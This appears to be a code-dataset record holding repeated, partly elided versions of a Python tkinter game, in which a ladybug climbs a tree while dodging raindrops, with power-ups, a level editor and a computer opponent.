'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n 